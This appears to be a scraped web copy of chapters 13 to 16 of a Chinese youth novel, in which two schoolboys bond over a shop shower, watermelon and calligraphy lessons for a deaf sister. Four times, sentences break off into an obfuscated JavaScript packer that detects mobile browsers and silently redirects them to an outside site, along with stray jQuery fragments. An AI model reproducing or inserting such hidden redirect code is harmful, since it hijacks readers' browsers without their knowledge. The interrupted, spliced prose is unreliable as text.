有了席子的信息打底,方笑贻没法往“家长暴打网瘾少年”上靠了,又没什么新方向,只好茫然地吃了口瓜,又放下它,翻开了高一的数学书。 第一章的内容是集合。 他在埋头在书里集了十来分钟,随后一条人影,忽然集进了他的店里。 方笑贻抬起眼帘,看见边煦右脸上挂着一大块糊开的红印子,右腹处的衣服裤子湿了一大片,左手里还提着个透明塑料袋,进来静静地在盯他。 怎么的? 方笑贻接住他那道目光,心想:在看自己有没有看他的笑话啊? 但边煦实际上不是。 他的家丑,初中就丢过更大的,所以他没那么忌讳脸皮。他只是不明白,自己为什么要到这里来。 方笑贻更不明白,只好眉梢一扬,问他:“要买东西吗?” 他这会的目光很清澈,令边煦忽然找到了一个理由,他心想:哦,是因为方笑贻爱干净。 “不买,”边煦没头没脑地说,“有洗澡的地方吗?” 方笑贻立刻看了他肚子那块儿一眼。 那块他应该用水洗过,但打底的白T恤上,还是有一圈发黑发黄的污迹,也不知道沾了什么。 但方笑贻没问,只说:“有啊,到处都是,愿意花钱去小旅馆,不愿意就去网吧,网吧厕所里有洗澡的地方。” 边煦立刻皱了下眉。 网吧他是不考虑的,吧里的气味就够人难受了,厕所就更不敢想。 而小旅馆他刚刚也去过,开了一间50块的,老板娘还吹是“豪华”单间,结果花洒旁边的瓷砖上就有几撮干鼻屎,边煦掉头就出来了。 “不要这种,”边煦想了好几下,只想出来一个汉庭,他说,“像……汉庭那种的,有吗?” 方笑贻看他那个一言难尽的表情,立刻懂了,撇了下嘴说:“这块儿都是城中村,只有民宿,没有汉庭,你想洗酒店的澡,就去外头喊个三蹦子,10块钱,坐到四海市场马路对面去,那儿有连锁酒店。” 边煦一听,身上的蚂蚁爬感就更明显了。 怎么会这么麻烦?他只是想洗个澡,把衣服换掉,结果还要打车? 但没有就是没有,他总不能跟方笑贻说:那我去你家里洗,我给钱吧? 这也太变态了。 “好吧,”边煦叹息着一垂眼皮,“那你给我一瓶冰水,要上冻的。” 方笑贻就往他这边来了,因为冰柜在门口:“什么水?矿泉水还是饮料?” 边煦说:“怡宝。” 方笑贻就去冰柜里挑了瓶冻了一半的出来,冲他提了下。 边煦点了下头,又扫码付了钱,付完拿起冰水,转身就走了。然后方笑贻才看到,他脖子后面有一堆风团,像是……过敏了。 可过敏了洗什么澡啊?吃药去啊。 方笑贻不知道他知不知道,但一个迟疑后,还是伸手抓住了他,因为他感觉边煦没什么谱。 边煦都要出去了,左边手肘却又忽然被勾住了。 然后他偏过头,看见方笑贻说:“你、是不是过敏了?” 边煦怔了下,没想到他注意到了,因为自己的皮疹挺给面子,不上脖子前面和脸,他说:“不是。” 方笑贻明显不信,指了下自己的后颈说:“但你脖子后面,全是红块儿。” 边煦看他一眼,忽然从阑尾那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240561|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边把T恤下摆一捞,亮出一截腰腹说:“这个吗?” 方笑贻垂眼一看,他身上也是,就说:“这还不是过敏吗?” “不是,”边煦放下上衣,耐着性子说,“这是荨麻疹,很痒,所以要去洗澡。” 说着他轻轻把手臂一挣,一副急着走的样子。 可洗澡能治荨麻疹吗? 方笑贻搞不懂,但这会开三蹦子的多半都回家午休了,他却是一清二楚的。 然后也不知道是为什么,可能就是知道的太多了:酒鬼、老袁、那一耳光,这一身红疹…… 方笑贻忽然就没松手,只像什么妥协似的,说:“我店里有洗澡的地方。” 边煦眼睫回扫过来,看他的目光就有点复杂。 他有洗澡的地儿,但先又不说,明显不想给自己洗,那现在为什么又愿意了呢? 但现在没空刨问这些,边煦立刻往他店里瞟了一眼,说:“在哪儿?” 那模样竟有点迫切,搞得方笑贻压力也大,连忙给他打预防针,说:“但是!也又破又小又旧,跟民宿里那些差不多的,你确定?要洗?” 边煦却不是很信他。 他连寝室洗脸池上面的水渍都要擦干,他家的洗澡间里能有鼻屎?不可能。 “要洗,”边煦说着就往回走,并把冰水往胸前一贴,催道,“快点,我要挠了。” 方笑贻只好放开他,转过身对他把头一偏:“进来。” * 边煦跟着他穿过小店,发现它分前后两间。 前面买杂货,隔个门洞,后面都是行李架,架上都是挂着牌子的行李箱。再往后,才是一个走廊改成的半开放厨房和卫生间。 而这房龄确实很老旧了,因为蹲便器周围,贴的还是古老的马赛克彩色小砖。但细节被重新打理过,墙重新刷了,洗手台贴墙的胶也没有霉点,看着又新又旧的,有点奇妙。 方笑贻要看店,就没有跟着他到卫生间来,只站在门洞那里说:“大少爷,能不能洗?” 有了民宿做对比,边煦居然还挺满意,说:“你才是大少爷,能洗。” “那你洗吧,”方笑贻说,“开关往左是热水,我前面去了。” 边煦“嗯”了下,又想起个事:“等一下,我没有毛巾。” 方笑贻本来都闪没了一截,闻言又冒出来,笑了下说:“太好了我这儿卖,有5块、10块、15的,你皮肤金贵,就15的了。” 边煦看他那一副鸡贼样,搭住门说:“给你30。” 方笑贻登时更开心了:“那也是应该的,毕竟你要洗一节课。” 他这不是有病吗? 但边煦很少博取同情,只无语一瞬道:“……我需要再给你添点水费吗?” 方笑贻说:“如果你愿意,那我没意见。” 边煦说:“行,给你五毛。” 方笑贻就对他比了个中指。 这一幕有点熟悉,但他换了只手,这次的中指是直的。 这使得边煦站在他门后,忽然就感觉到了人生的神奇。 上个星期,他还跟唐悦说,不想认识这个人。 这周,就到人家里来洗澡了。 话看来还是不能说的太死—— 14.第14章 边煦又洗了半天,出来的时候,店里除他之外,又多了个不速之客。 那是一个脑瓜溜圆的小崽崽,他垂腿坐在柜台里边,正在手舞足蹈地说:“嘿!嘿、嘿哟,不嗷不嗷咚~” 这是火星语,边煦一个字没听懂。 方笑贻却坐在柜台里的靠背椅上,右手撑着歪着的下巴,左手环护在他背后,柔声细语道:“哦,嘿哟嘿哟了还拔不动啊,那咋办嘞?” “呃嗯~”小孩儿顿了下,“叫妈妈。” 方笑贻就夸他:“真聪明。” 小孩儿顿时仰起头,发出了一串机关枪似的动静:“呵呵呵呵呵嗝~” 那个画面颇为温情,大的温柔、小的快乐,有种屏蔽人似的幸福感。 边煦于是在寄存室中间慢下脚步,顿住了。 然而几秒过后,那小孩后仰到方笑贻手上,又忽然往他这边一翻。接着那娃就不“咯”的了,只用圆溜溜的眼睛盯着自己。 方笑贻跟着也偏过头来。 寄存室两边不靠,不开灯,里头白天也挺黑。 但他站在门洞的对线上,面容隐晦,可剪影很清晰,是笔杆条直的一溜,腿也长的要死,T恤都盖到了屁股蛋子,裤管还是比T恤长很明显的一截。 方笑贻盯他一眼,打破了沉默:“洗完了?” 边煦闻言,在孩子脸上的视线,立刻到了他身上:“嗯。” “出来呗,”方笑贻搞不懂他,“杵那儿干嘛?” 没有原因。 边煦心里这么说,但也自觉说不通,只好余光一晃,朝右边甩了下眼神。 “看下你这些牌子上面,写的都是什么?”边煦说着还真去看了,因为那字一打眼,居然还……可以。 [陈大民-男-7.21 上午10点20寄存-大件1-105号] 是列欧楷,写在剪成长条的烟盒空白面,边上的笔锋出的不好,但结构和细节都不错。 而方笑贻看他说着说着,还真从右边捏了个纸牌起来,顿时深信不疑道:“是别人寄存的信息。” 但跟你毛关系没有。 方笑贻刚又要说:你别在那儿晃了,出来付钱。 边煦却在他前面问了句:“这谁写的?” “你问这干嘛?”方笑贻还要哄孩子,没空陪他瞎聊,不想展开。 可边煦说:“挺好看的。” 方笑贻霎时怔了下,顿了一息才说:“我姐写的。” 那你姐的字,可比你的好多了。 边煦睨他一眼,但没欠抽地挑破,只放开那个纸牌,从寄存室里出来了。 谁知他不接话,方笑贻却开始露出若有所思的眼神了。 只是孩子看到陌生人过来,有点躲闪,夹着小下巴就往方笑贻怀里扑,但是没闹。 方笑贻只好先把娃提到腿上,再低头拍抚着对他说:“嘘~现在玩个游戏,假睡两分钟,好不好?” 孩子就是天真,点着头就把眼睛一捂,再扭头拱到他怀里去了。 边煦看他行云流水地骗完小孩,又抬头问自己:“你刚刚那个眼神,什么意思?不信是我姐写的吗?” 边煦看他非要找虐,只好据实以告。 可谁知方笑贻并不生气,还一副所见略同、并有一丝丝得意的样子:“那不很正常?我姐练了挺多年了。” 边煦立刻感觉到了,他跟他姐感情应该不错。 再看这个孩子,把他搂得也紧,那种粘稠的肢体语言,莫名有点刺眼。 别人分明挺幸福的。 格格不入再次袭上心头,边煦垂下眼皮,摸出手机开始扫码。澡洗完了,他该走了。 可一只手忽然伸进他扫码框里,遮住了柜台上那个收款码。 然后他听见方笑贻说:“你那个荨麻疹,怎么样了?” 有障碍出没,扫码失败了。 边煦眼帘里一晃,心里也跟着晃了晃似的,像种始料未及的触动,又或者别的什么。 他也分不清,也没表现出什么,只把眼皮又掀到方笑贻脸上,说:“好了。” 方笑贻一扫他的领口。 他这会已经换了身衣服,现在这件白T恤领口开得大些,锁骨露出小半截,上面的风团已经没了,变成了均匀的、被热水冲红的正常肤色。 方笑贻冲他点了下头,但手还搭在收款码上,眼里有种、不知道想干嘛的光芒。 边煦见他这样,心里微微警惕:“干嘛?” 方笑贻忽然翘起嘴角:“你练过字,对不对?” 其实他见过边煦的字,在刘丞丞的桌上。当时他以为是刘丞丞写的,上去就夸了几句,刘丞丞直接被夸美了,请他坐在了边煦的板凳上。 边煦闻言没说话,但也没反驳。一般都是练过的,他们小时候练字,是家长赶的一种时髦。 方笑贻顿时往前一坐,对他一挑眉眼:“我跟你商量个事。” 边煦心里下意识就一个字:不。 他不觉得,方笑贻这儿能有什么好事等他。 只是身上热水的余温还没散掉,边煦就稍微迟疑了一秒,话语权就被方笑贻霸占掉了。 “很简单的,”他说,“你给我姐那个字,写两句点评,不错啊挺好看什么的就行。当然,你要是愿意指导指导她,那就更好了。写了我给你免单。” 边煦真是莫名其妙:自己缺他这30块吗? 但这个事又实在简单,简单到自己随便划拉两下,他就亏了。 钱串子的人设都ooc了,边煦再不好奇也就太npc了,他说:“这是干什么?” 方笑贻说:“好评返现啊。” 不说算了。 边煦又看了眼收款码,见他的手还在那,目光就开始往外撇:“我走了。” 看把他酷的。 方笑贻真是受不了,只好一抬手,揪住了他的T恤下摆:“好行行行,我说。” 两分钟后,边煦大概听懂了。 原来,他姐前几天去应聘了,这附近唯一的一家书法培训班。但那个字更丑的老板,把他姐打击了个垂头丧气。 可人这么容易被打击吗? 边煦不太能理解,他天生算在聪明的位列,从小也“不听话”,谁越压他,他就越反弹。 但他还没说话,小店门口忽然又进来了个女人。 她眉眼和方笑贻有点像,看起来应该是很年轻的,可眼神那样疲惫温柔,年轻的面孔上竟有沧桑的气息。 然后她进来冲自己一笑,接着双手居然比划了起来。 边煦看得一愣,心里忽然就懂了。 因为她,拥有的太少,所以才必须给她更多,以求达到某种综合的、普通的平衡。 这时,方笑贻忽然又在旁边说:“喂,我姐跟你打招呼呢,她说你好,小哥,你长得真帅呀。” 边煦就看了他姐姐一眼。 他姐姐确实笑眯眯的,但她笑不露齿,一看就很含蓄,是很难为欧巴尖叫的类型。 边煦心里很无语,但想走的念头却忘了,他说:“……让你去当手翻,你会不会被抓进去?” 方笑贻夹带私货被抓,又被他逗乐了:“夸你也不行?” 边煦说:“假的有什么用?” 他是个傲娇鬼,长这么大,大概已被赞美腌透了。 方笑贻立刻放弃了彩虹屁,给他姐一打手势:他写字很牛的,人……人也挺好的。你就写字给他,问他能不能教你两招,真诚点,真诚永远是必杀技! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250590|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边煦看不懂他那些比划,但很快发现他姐姐看自己的眼神,却越来越坚定了。 边煦:“……” 搞什么诈骗啊?又在。 * 下午4点04分,唐悦顺着导航找到天堂河,边煦却不在门口,也不在里面。 唐悦茫然地拨通电话,才听见他说:“我在路对面,你往左看,王姐杂货寄存铺。” 唐悦抬起墨镜,又把眼睛一眯,很快说:“看到了。” “那你过来。”边煦说完就挂了。 挂断之前,唐悦隐约听见那边有小孩的声音,呜呜呀呀的,还有个气音吹了下,说:嘘~ 啥啊这是。 唐悦不明白:他那破手机是漏气了吗?怎么那么小的“嘘”声,电话里都听得见? 不过等他斜穿过街道,唐悦立刻就明白了:不是手机漏气了,而是他跟人一窝子,本来就凑在一起。 那真是一副和谐的画面:他坐在别人店里收钱的位置,正伏在桌上写什么。一个美女站在他右后边,弯着腰探着头。美女对面还有个男生,他也弯着腰,左肘支在柜台上撑着脸,右手那边还牵了个小孩,头被边煦挡住了一点。 加上视觉错位,就跟两脑袋抵在了一起似的。 好在唐悦了解他,他跟自己都没这么抵过,所以这一定是误会,但这个误会是什么呢? 唐悦摘下墨镜,像小偷一样溜进了店里。然而很快,他又惊愕地自爆了。 “我靠!”他看着对面的这张脸,这次真的有点懵了。 怎么又是这个? * 方雪晴虽然听不见,但却是最先察觉到唐悦进来的那个。 这又是个体面的小孩,跟这个边煦,能看出是一路的。 弟弟能有新的朋友,方雪晴心里是很高兴的。只是他们越是光鲜亮丽,她心里就越自惭形秽。 其实他,长得也不比这两个差吧,脑子也还是挺聪明的,只是家里害了他,所以才让他显得……这样平庸。 方雪晴的左手刚搭到方笑贻身上,进来的那个又叫了一声,好像对这里,很震惊似的。 那种震惊,震得方雪晴心里也一颤,她心想:他不该让他们到这里来的,平白露怯。自己……自己也不该在这里给他丢脸。 想完,她找了眼孩子,掉头就想带走。 但方笑贻一把拉着了她。 方雪晴看见他瞥了眼来人,又看了下边煦。边煦头也没抬,还在写他的。 但他刚刚接过电话,这人年纪又相当,方笑贻估计就是找他的。所以他很快就会走了,那还有什么理由不抓紧学习,缩小差距呢? 方笑贻把他姐往原地一按,说:“老师都还没写完呢,你放尊重点~” 然后又转头,对来的这个说:“怎么了?” 他店里有炸弹吗? 他今天和气多了,可能是因为边煦在这儿卖艺,但这个行为太离谱了。 跟被绑架了一样。 唐悦“噗”的笑出声来,指着自己,主动而踊跃地开始往新组织里钻。 他说:“我啊,哥们儿,咱俩见过的。” 方笑贻上下又打量他两眼。 这人矮他一两个指节,留三七偏分碎盖,五官棱角不强、有点下垂眼,但很和谐,穿搭也有讲究,iwatch和索尼头戴无线耳机都是同色的,也是个帅哥。 但方笑贻对他没印象,摇了下头。 像他这样牛笔的主唱,居然能被忘记,唐悦不信,说:“啧,就你丢煦子瓶子那天啊,那个小超市门口……” 我就坐在他左边——唐悦正要说这句。 边煦的声音就冒了出来:“就是那个,像是刚从加勒比海盗船上逃下来的那个。” 15.第15章 “不是,又没有人问你。” 他那明明是摇滚风!唐悦立刻瞪了他一眼:“谁让你插嘴的?” 本能让的。 阴差阳错,已经导致他现在坐在这里,不知道在干嘛了,边煦不想让唐悦再跟方笑贻用那么亲切、那么熟的姿态说话了。 不应该,也犯不着。 所以边煦不仅要说,还要吩咐他:“你少说两句。” 唐悦可不听他的:“我就要多说。” “不热吗?”边煦问他。 “热啊,吹空……”但这店里没开空调,唐悦只好说,“喝水不就得了?” 方笑贻不愧是开店的,跟着就问他:“有西瓜,吃吗?” 唐悦怕热,也是渴了,说吃。方笑贻于是牵着孩子去冷柜里,捞了1/4个西瓜出来。 但那柜里其实有个铁盘子,唐悦看得见,盘子上面有切好的,他说:“诶这,这不是有吗?” 是有,但这切开有一会儿了,会有种氧化的气味,而有钱的嘴巴都很挑。 方笑贻说:“新切的香一些。” 唐悦立刻搓了下手:“诶呀你真好,感谢感谢。” 边煦看他俩在那儿宾主尽欢,心里同时有点不屑:怎么对自己就没这么客气? 但他没理论,只瞟了那俩货一眼,就垂眼到纸上的“民”字旁边写道:√(?) 写完瞥向方雪晴。 这个字他写了3遍了,给自己看那个戈钩怎么写。 方雪晴已经看清楚了,立刻点了点头。 边煦就把秀丽笔给她,又往纸上指了下,自己从椅子左边起来了。 方雪晴冲他合了下掌,接过笔坐下,重新开始写“民”字。 边煦一边看她走笔,一边看方笑贻在柜台上切西瓜。 唐悦在旁边啰嗦:“所以我,你想起来了没?” “想起来了。”边煦一说,方笑贻就想起来了。 “没认出来吧?” 方笑贻“嗯”了一声。 唐悦呵呵地说:“正常,我化成那样,自己照镜子也像在看别人。” 他性格挺好的,方笑贻也愿意说点好听的,他说:“挺酷的。” 唐悦一愣,瞬间心花怒放。 他玩硬摇滚的,人生格言就是一个曲高和寡的:酷! 此刻被方笑贻瞎捧,捧到核心上,顿时相见恨晚地把人一拍,说:“嘿嘿有眼光!来哥们,认识一下,我叫唐悦,六中高一的,也是煦子穿开裆裤的兄弟。” 他拍完自己,又要握手,那风格跟边煦差太多了。 方笑贻一时不习惯,卡了下,才伸手搭住他的:“我姓方,方笑贻,这我侄儿,那是我姐姐。” 唐悦是个自来熟,立刻一刮孩子的脸蛋,又扭头打招呼:“姐,下午好啊。” 但是方雪晴头也没抬。唐悦眉峰微微一揪,才被告知她听不见。 怪不得呢。 霎那间,唐悦一瞟边煦,心想:煦子会跑到这里来写字。 因为他爸,更不正常,所以他对弱势群体,有种唐悦所不能理解的宽容。 唐悦道了歉,方笑贻一派寻常,说没什么,又找了双一次性手套出来。 其实这里没这么讲究,他平时都是搬上来就切了,但万一这俩个就是讲卫生呢? 诶,麻烦。 方笑贻一边吐槽,一边套上手套,去边切了4块西瓜出来,放到小盘里,先让唐悦拿了,又端到了边煦面前。 人还在这儿给他姐当老师呢,居然还挺尽职尽责,也没摆什么脸色。 方笑贻一边稀奇,一边却也认同:他吃点水果是应该的。 边煦看他闷不吭声的,把那个盘子冲自己一送。 那意思是,叫自己拿。 但刚刚,他只问了唐悦,没有问自己。 边煦没想到会有份,不由看了他一眼。 方笑贻跟他一对视线,又见他不动,立刻眉头一抬:“不吃吗?” 他这都送到跟前来了,不吃那还得了? 边煦当即也说:“吃啊。” 说完他拿起最边上的那块,放到了方雪晴右手前面的纸张外边。 那个动作非常顺手自然,自然到……方雪晴好像也是他的姐姐。 方笑贻被他整得一愣,心里也好像被这只手拖拖移移的,牵出了一阵浅淡的涟漪。 这人,对他拽得二五八万的,但对方雪晴,他又挺温和的。 而且也不是那种,男的对女的的殷勤。只是照顾,就像在车上,给老弱病残让座那样。 边煦居然,这么……有道德吗? 那对自己,怎么这种德行? 不过他对别人也不这样。 方笑贻想不明白,只能搞点玄学:他俩八字不合,相克。 * 相克就得离远点。 所以方笑贻送完西瓜,就自觉牵着孩子,回店门口坐小板凳去了。 唐悦也被他发了个小马扎,坐在他旁边一边啃西瓜,一边打听。 不过他也不上来就问,反而兜了一大圈:一中的校长帅不帅?班主任啥风格?班上有没有美女…… 然后才忽然状似不经意地说:“你跟煦子,是一个寝室的吧?” 方笑贻看他一眼:“你怎么知道的?他不会跟你吐槽我了吧?” “诶呀不至于,”唐悦笑道,“他不背后别人坏话的,这一点你可以像相信中国共产党一样相信他。” 方笑贻:“……这种小事,倒也用不上这种信仰。” 唐悦觉得他有点幽默,笑了几声,又糊弄他:“你们床架上不是有牌子吗?他拍寝室给我看的时候,我看到你的名字了。” “行吧。”方笑贻其实不在乎,哪怕边煦真的吐槽了他。 但他此刻愿意在后面教他姐写字,方笑贻心里就会记上这一笔:阿弥陀佛,感恩+1 日影西移,悄悄咪咪。 他俩在前头嘀嘀咕咕的,边煦偶尔会瞟一眼,羡慕嫉妒却也谈不上。人跟人要讲磁场,他跟方笑贻就不对盘,今天见了没掐,已经是太阳冒紫烟了。 方雪晴学得也很认真,这没多会儿,她已经写满了一整版,然后转头来看自己的意见。 她是一个努力的人。 边煦觉得可以了,正要对她点点头,兜里的手机却“叮”地一震,他摸出来一看。 [网吧-袁]:照片.jpg [网吧-袁]:小富哥,你人呢 [网吧-袁]:看这狗日的,好滋润嘛,还有心情打牌 边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256509|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煦没点开那张照片,都能看见孙竞东坐在一张,或围或站着8个人头的桌子上打扑克牌。 他表情一变,立刻捏熄屏幕,转头说:“唐悦,走了。” 门口,唐悦正在挖掘,边煦过来写字的经过。 方笑贻也没提那一巴掌的事,就说他过来卖水,就碰到了。 唐悦闻言有点失望,好没意思,又听见他在店里喊,立刻“an?”了一声,站起来了。 屋里,边煦因为要出去,就还是拍起方雪晴,给她指了下手机和外面。方雪晴看懂了,立刻起身,把他让出来了。 边煦畅通无阻地出来,走到方笑贻旁边,莫名又停了一下。 他是那样长的一条,方笑贻仰了个大角度,才看到他脸上。 四目相对,两人互相盯了片刻,才同时开口。 方笑贻:“干嘛……” 边煦:“西瓜……” 又互相被打断,一起停了下。 “……”方笑贻,“西瓜啥?” “……”边煦,“不干嘛。” 方笑贻真是无语了,为什么默契总会在这种没用的地方。但听到边煦停下来是为了问他,那2块西瓜多少钱,立刻又原谅了他。 不占便宜的顾客,是上帝的福音。 方笑贻今天看他顺眼,人也大方了一点,脸往路上一侧:“不要钱,请唐悦的,不是有事吗?走吧。” 边煦看他都在赶人了,也就走了。 很快,方笑贻又坐在小马扎上,看他带着唐悦,蹭蹭从不久前被扇巴掌的地方跑了进去,心里登时就在琢磨:出什么事了吗?着急忙慌的。 方雪晴跟着送出来,见边煦和他的朋友去了天堂河。而自己的弟弟坐在板凳上,眼睛也一直看着那里。 他在这里生活,不缺网上,也不爱上网。 但他很少很少很少,跟朋友一起出去玩。 方雪晴看着他那个目不转睛的样子,忽然伸手把他肩膀一推,比划起来:你想去,就跟他们一起去玩嘛,我下午没事了,店里不缺人的 她脸上居然还有种,鼓励的表情? 方笑贻简直哭笑不得,她误会了,以为边煦是来上网的,可实际上,他不是。 而且就算他是,自己跟这种大少爷,又有什么可一起玩的?他一个闹钟就2500,还不带底座,一下来俩。 不过,他那个epot和emopet倒是挺有意思,很智能也挺萌的。 所以,加油吧,华强北。 方笑贻在心里说:把它们价格打下来。 打下来了,他就去批发一点,到中产小区那边去卖,肯定会受欢迎。 * 他不去玩,方雪晴还有点沮丧。 弟弟不再是小孩了,她们说那些大道理时,知足常乐、团结友善……他的神色越来越敷衍了。 他过早地长大了,像一株被拔起来的苗。 但她们没资格指责他,方雪晴只能选择不啰嗦,带上孩子回家去了。 方笑贻转头也回了店里,读了两篇英语阅读理解,才把心思静下来,继续往后预习《集合》。 边煦和唐悦再没经过,中间他出门卖西瓜,也没看见他俩。 而天边黛色的晚霞升起,再过不久,就要入夜了。 16.第16章 5点55分,谭威打来了一个抱怨语音。 “我靠我要死了!你说我妈还能叫个人?” 他跟他妈,这一秒相爱下一秒相杀,灵活得不像样。 方笑贻正在玩游戏,简陋又山寨的那种,答得漫不经心:“又怎么了?” “今天才开学,”谭威嚷道,“一个星期啊喂!她就给我报了3个补习班,啊啊啊啊啊我想去跳楼了!” “跳呗,”方笑贻听他中气挺足的,“反正你家在一楼。” “放屁!”谭威骂他,“我现在没资格回家了。” “怎么的?”方笑贻说,“你又买了八双一样的鞋子,被你妈拿鞋底抽到你姑妈家去了?” “毛线,不一样!你不懂别瞎说。而且我上星期在学校挺开心的,没买鞋子,不过,”谭威说着,语气又报复起来,“我一会儿要去买了,艹焦虑!好不想补课,你能不能帮我问问你室友,他有没有啥轻松上高分的窍门?” 这个,方笑贻停下来想了想。 先不说自己去问,边煦理他的概率有多大。 就说,下课积极、早睡晚起、还老是在寝室里玩ai这些……能算窍门吗? 瞎扯淡,不过刘丞丞那里,倒是见过他一沓笔记,可以去求个复印版。但又不知道人家外不外传。 方笑贻决定探稳了再说:“行,我回学校了问问。” “好兄弟,”谭威深情地说,“我还有事要求你。” 方笑贻二话不说:“别害我,不答应。” “害个蛋啊,”谭威骂他,“我就是叫你给我带点佤味鸡jio过来。我本来准备下午去买,顺便去找你的,结果中午就被我妈提回学校这边了,烦死了真的。” 方笑贻不知道该说什么,谭威的烦恼,在他看来也是奢侈的。 但带吃的很简单,不像谭威让他帮忙做辅导试卷,结果被他妈逮到了嘶吼一顿那样坑人。 方笑贻说:“行,给你带,一斤?两斤?” “一斤吧,”谭威高兴了,“我还要留点肚子吃厕所臭豆腐,那个也要,大份的哈。” 可那个名字,方笑贻都不爱听,味儿也不爱闻,劝他说:“你放过车上的乘客吧,豆腐算了,换个别的。” “不要,”谭威十分坚决,“我都已经被生活折磨成这样了,还能再妥协什么啊?我要吃!” 方笑贻沉默片刻:“……好吧,但要是车上有人要报警,我就丢了啊。” “谁特么为个臭豆腐报警啊,神金。”谭威笑得要死。 方笑贻说:“我会。” “锤死你。” “行吧知道了,”方笑贻说,“明天下午5点,男生寝室300门口,一手交钱一手交货。” ”deal!”谭威猛男撒娇,“爱你~” 方笑贻叫他滚蛋,谭威不滚,又扯了两句,他妈在那边喊他吃饭,他才挂了。 等放下手机,方笑贻忽然就不想玩游戏了,趴在柜台上发了会儿呆。 人真奇怪,明明削尖了脑袋,在往外面的世界爬,可肉身出去了,舌头又还留在这里,出去的也并不是很彻底。 为什么? 与此同时,暮色四合。 有勾肩搭背的三和青年路过店外,他们光着膀子,上衣搭在肩头,正在激昂文字、指点江山。 “……如果二战的话,没有美国掺和的话,我估计全世界那几个国家,可能都会被德国日本,和我们TM的吃掉!你们信不信?” “那要是,我们踏马的现在,也能在家里躺着领钱了,呵呵哈哈哈!” 听着这些懂言懂语,方笑贻忽然想起了老杨。 老杨乍一看,好像也是一个这样幕天席地的懂王。 方笑贻第一次见他,也是这样炎热的夜晚,他坐在中介广场上那堆“四海智库”中间,背对着自己,正对一个精苏老哥关于“苏联帮我们就要倒退20年”的高谈阔论,频频点头。 但他又是不一样的。 老杨的文化是真的,并且还是个老哥套装,都掩盖不住光芒的美男子。 “修车巷”[1]的富婆妈嬤追着喊着想包养他,但他不愿意,整天在外面流浪。 老杨是个流浪汉,精神有点问题,他离开了这里,所以方笑贻一想起他,就会更想他—— * 没多久,天色越发昏暗,店里不来人则已,一来又是一堆。 方雪晴送饭过来时,席子又从外面一蹦三跳地嘚了进来。 方笑贻才摆好保温桶,问他:“吃了没?吃不吃?” 席子嘴里说不吃,没几分钟,又自己跑去后面厨房里摸出双一次性筷子,把芹菜香干肉丝里面的肉丝挑光了,边挑还边在骂骂咧咧。 “艹!天堂河里越来越臭了,”他说,“全是臭……” 方笑贻知道他要说什么,立刻打断了他:“我吃饭呢,不许说。” 席子“噗”的笑了一声:“穷讲究!” “就要讲。”方笑贻说完,又连着网吧,想起了边煦。 他大概又去找老袁,悬赏了,什么的。 但是老袁仇富啊,劫富济贫是老袁的人生信条。 他找老袁,就像羊入虎口。 可这关自己什么事呢?不相干。 而且边煦钱多,给社会做点贡献,怎么了? 这不是自己该操心的事,方笑贻心里很明白,并也把它忘了,可席子偏偏又从网吧里跑来。 方笑贻一下又想起这茬,顿时就有点如鲠在喉。 啧,这位阴魂,怎么比《王者荣耀》还难戒? 然后嘴里那根芹菜,又老得嚼不动。 方笑贻皱起眉心,又嚼了两下,还是不烂,干脆一低头把它吐了,对席子说:“你下午在网吧啊?” “昂~”席子说完又怕挨骂,赶紧解释,“但、但我不是一下午都在哈,我在外头努力工作,收了个手机卖了一个,搞到5点才去的,就挖了两把。” 他在《传奇》的私服里挖矿,有时还能挖出点钱来,看运气了。 方笑贻也没有不许他上网,说:“挖得咋样?” 席子说:“稀巴烂。” 方笑贻眼皮往饭盒里一垂:“那别人呢?” “还不是一样?”席子鄙视道,“也稀巴烂。” 方笑贻大概就知道了,5点之前,边煦跟唐悦已经走了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263887|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然他俩那样异样,一定会些许议论。 然后他心里才消停了。 是该走,走了就不用挨嘎了,至少今天是这样。 十分钟后,方笑贻收拾好餐盒,席子也溜了。 蚊子开始轰炸攻击,方笑贻去门口把帘子放下来,又打开电蚊香,上b站找了个热度最高的高一数学网课。 